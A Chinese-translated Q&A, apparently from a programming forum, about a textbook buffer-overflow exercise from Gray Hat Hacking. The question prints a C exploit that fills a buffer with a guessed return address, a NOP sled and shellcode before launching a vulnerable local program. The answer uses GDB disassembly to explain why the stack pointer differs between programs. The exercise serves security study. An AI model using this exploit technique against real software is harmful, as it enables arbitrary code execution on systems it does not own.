c - 使用ESP计算溢出返回地址

Question

我正在关注 Gray Hat Hacking 中的缓冲区溢出示例，并成功执行了 shellcode 并使用下面的漏洞利用程序打开了一个 shell，但是由于差异，我必须首先猜测缓冲区的偏移量才能运行它在初始 ESP 值中。

这是针对任何本地易受攻击缓冲区的漏洞利用程序(删除了一些行):

unsigned long get_sp(void){
    __asm__("movl %esp, %eax");
}

int main(int argc, char *argv[1]) {
    int i, offset = 0;
    unsigned int esp, ret, *addr_ptr;
    char *buffer, *ptr;
    int size = 500;
    esp = get_sp();
    if(argc > 1) size = atoi(argv[1]);
    if(argc > 2) offset = atoi(argv[2]);
    if(argc > 3) esp = strtoul(argv[3],NULL,0);
    ret = esp - offset;
    buffer = (char *)malloc(size);
    ptr = buffer;
    addr_ptr = (unsigned int *) ptr;
    for(i=0; i < size; i+=4){
        *(addr_ptr++) = ret;
    }
    for(i=0; i < size/2; i++){
        buffer[i] = '\x90';
    }
    ptr = buffer + size/2;
    for(i=0; i < strlen(shellcode); i++){
        *(ptr++) = shellcode[i];
    }
    buffer[size-1]=0;
    execl("./meet", "meet", "Mr.",buffer,0);
    free(buffer);
    return 0;
}

此漏洞利用依赖于利用程序的初始 ESP 与易受攻击应用程序的 ESP 相同(或相差不远)。然而，在我的测试中，我一直无法复制这一点，而且我的漏洞利用的 ESP 总是与易受攻击的应用程序 ESP 相距太远，以至于无法进行可靠的返回地址计算，即使在使用 NOP sled 时也是如此。我想解决这个问题的方法是不仅计算缓冲区大小和易受攻击的应用程序 ESP 到缓冲区的偏移量，还计算漏洞利用初始 ESP 和易受攻击程序初始 ESP 之间的偏移量，但我希望我'我们只是犯了一个错误。

在我的 exploit 中，在 main() 的最开始，ESP 的初始值为 0xffffdbc0。但是，在我的缓冲区程序中 main() 最开始的 ESP 是 0xffffdba8。我在两个程序的 main() 的第一行使用 GDB 中的断点来查找 ESP 而不是内联汇编函数，以避免将任何额外内容压入堆栈。

我还为两者提供了相同的命令行参数 (0,0) 以缩小可能的原因。一切都在 x64 Linux 上编译，ASLR 被禁用，没有堆栈保护器和 execstack 在 32 位中被禁用。

还有什么会影响初始 ESP 值？

(This question 可能是相关的，除了我似乎遇到了相反的问题。)

编辑: 我发现程序名称的长度不同，我想这会影响 ESP 的值，因为程序名称会传递给 main() 函数通过 argv[]。是时候在 GDB 中检查这个了……

Answer 1

我找到了答案!

我的断点放在第 1 行:

1 int main(int argc,char *argv[]) {
2     unsigned int sp = get_sp();
3     int size = atoi(argv[1]); 

我的理由是，如果我在我的 exploit 和我的缓冲程序中都在这里放置一个断点，我将能够在任何东西被放入堆栈之前获得 ESP 并找出它们之间的差异。但是我没想到GDB会为一个函数调用分配内存。

让我们看一下程序集:

(gdb) disas main
Dump of assembler code for function main:
   0x08048582 <+0>: push   %ebp
   0x08048583 <+1>: mov    %esp,%ebp
   0x08048585 <+3>: push   %ebx
   0x08048586 <+4>: sub    $0x1c,%esp
=> 0x08048589 <+7>: call   0x804857b <get_sp>

与我的缓冲程序不同，此处的 main() 以函数调用开始。断点在那之前，函数不会被调用，但是空间是在堆栈上分配的，在我的例子中，一旦我消除了所有其他因素，这会导致我的 ESP 之间有 32 位的差异。

因此，如果已知局部变量和命令行参数，似乎实际上可以可靠地计算 ESP。